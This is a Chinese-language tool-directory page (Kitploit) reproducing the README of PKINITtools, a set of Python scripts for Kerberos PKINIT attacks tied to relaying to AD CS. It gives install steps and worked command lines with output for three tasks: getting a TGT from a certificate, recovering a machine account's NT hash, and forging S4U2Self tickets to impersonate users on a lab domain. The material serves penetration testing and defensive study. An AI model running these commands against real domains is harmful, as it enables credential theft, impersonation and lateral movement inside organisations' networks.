Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
PKINITtools — 用于 Kerberos PKINIT 及中继到 AD CS 的工具 | Kitploit
工具/GitHubGitHub/dirkjanm/pkinittools
漏洞利用横向移动渗透测试身份验证横向移动 分类第 18 名
GitHubdirkjanm/pkinittools

PKINITtools

用于 Kerberos PKINIT 及中继到 AD CS 的工具

查看仓库
92210751年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

PKINIT 工具

本仓库包含一些用于操作 PKINIT 和证书的实用工具。
这些工具基于 minikerberos 和 impacket 构建。相关的博客文章提供更多背景信息:https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/

安装

这些工具仅兼容 Python 3.5+。从 GitHub 克隆仓库,安装依赖项即可使用:

root@kitploit:~
git clone https://github.com/dirkjanm/PKINITtools
pip3 install impacket minikerberos

建议使用虚拟环境(virtualenv)进行安装。

工具

gettgtpkinit.py

使用 PFX 文件(可以是文件、base64 编码的数据块或 cert+key 的 PEM 文件)请求 TGT。此工具使用 Kerberos PKINIT,并将 TGT 输出到指定的 ccache 文件中。它还会打印 AS-REP 加密密钥,你可能需要该密钥用于 getnthash.py 工具。使用示例:

root@kitploit:~
(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py -h
usage: gettgtpkinit.py [-h] [-cert-pfx file] [-pfx-pass password] [-pfx-base64 BASE64] [-cert-pem file] [-key-pem file] [-dc-ip DC_IP] [-v]
                       domain/username ccache

Requests a TGT using Kerberos PKINIT and either a PEM or PFX based certificate+key

positional arguments:
  domain/username     Domain and username in the cert
  ccache              ccache file to store the TGT in

optional arguments:
  -h, --help          show this help message and exit
  -cert-pfx file      PFX file
  -pfx-pass password  PFX file password
  -pfx-base64 BASE64  PFX file as base64 string
  -cert-pem file      Certificate in PEM format
  -key-pem file       Private key file in PEM format
  -dc-ip DC_IP        DC IP or hostname to use as KDC
  -v, --verbose

(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py testsegment.local/s2019dc\$ -cert-pfx ~/impacket-py3/cert.pfx -pfx-pass hoi s2019dc.ccache
2021-07-27 21:25:24,299 minikerberos INFO     Loading certificate and key from file
2021-07-27 21:25:24,316 minikerberos INFO     Requesting TGT
2021-07-27 21:25:24,333 minikerberos INFO     AS-REP encryption key (you might need this later):
2021-07-27 21:25:24,333 minikerberos INFO     5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
2021-07-27 21:25:24,336 minikerberos INFO     Saved TGT to file

getnthash.py

使用 Kerberos U2U 向自己提交 TGS 请求。这将附带 PAC,PAC 中包含 NT 哈希,你可以使用为你特定 TGT 使用的 AS-REP 密钥解密该哈希。这真的很神奇。此工具要求将 PKINIT 生成的 TGT 保存在 KRB5CCNAME 环境变量中。使用示例:

root@kitploit:~
(PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py -h
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

usage: getnthash.py [-h] -key KEY [-dc-ip ip address] [-debug] identity

positional arguments:
  identity           domain/username

optional arguments:
  -h, --help         show this help message and exit
  -key KEY           AS REP key from gettgtpkinit.py
  -dc-ip ip address  IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter
  -debug             Turn DEBUG output ON

(PKINITtools) user@localhost:~/PKINITtools$ export KRB5CCNAME=s2019dc.ccache
(PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py testsegment.local/s2019dc\$ -key 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
fa6b130d73311d1be5495f589f9f4571

gets4uticket.py

使用 Kerberos S4U2Self 请求一个服务票据,该票据在获取证书的主机上有效。然后可以使用此票据与原始主机交互。这只需要该主机机器账户的 TGT。此 TGT 应位于你在 kerberos_connection_url 中指定的 ccache 文件中。本例中唯一接受的 kerberos_connection_url 是包含 ccache 文件的 URL,例如 kerberos+ccache://domain.local\\victimhostname\$:[email protected]。SPN 应为你要模拟的主机上的服务名称,你不能将此用于委派攻击(因为它未实现 S4U2Proxy,已有许多其他工具用于此目的)。使用示例:

root@kitploit:~
(PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py -h
usage: gets4uticket.py [-h] [-v] kerberos_connection_url spn targetuser ccache

Gets an S4U2self ticket impersonating given user

positional arguments:
  kerberos_connection_url
                        the kerberos target string in the following format kerberos+ccache://domain\user:file.ccache@<domaincontroller-ip>
  spn                   the service principal in format <service>/<server-hostname>@<domain> Example: cifs/[email protected] for a
                        TGS ticket to be used for file access on server "fileserver". IMPORTANT: SERVER'S HOSTNAME MUST BE USED, NOT IP!!!
  targetuser
  ccache                ccache file to store the TGT ticket in

optional arguments:
  -h, --help            show this help message and exit
  -v, --verbose

(PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py kerberos+ccache://testsegment.local\\s2019dc\$:[email protected] cifs/[email protected] [email protected] out.ccache -v
2021-07-28 10:09:13,687 minikerberos INFO     Trying to get SPN with [email protected] for cifs/[email protected]
2021-07-28 10:09:13,695 minikerberos INFO     Success!
2021-07-28 10:09:13,696 minikerberos INFO     Done!

许可证

MIT

致谢

  • SkelSec 提供了 minikerberos
  • Alberto Solino 及其在 SecureAuthCorp 的团队提供了 impacket
  • Mor Rubin 在 AzureADJoinedMachinePTC 中首次用 Python 实现了 PKINIT
  • Benjamin Delpy 在 kekeo 中实现了这些功能
下载工具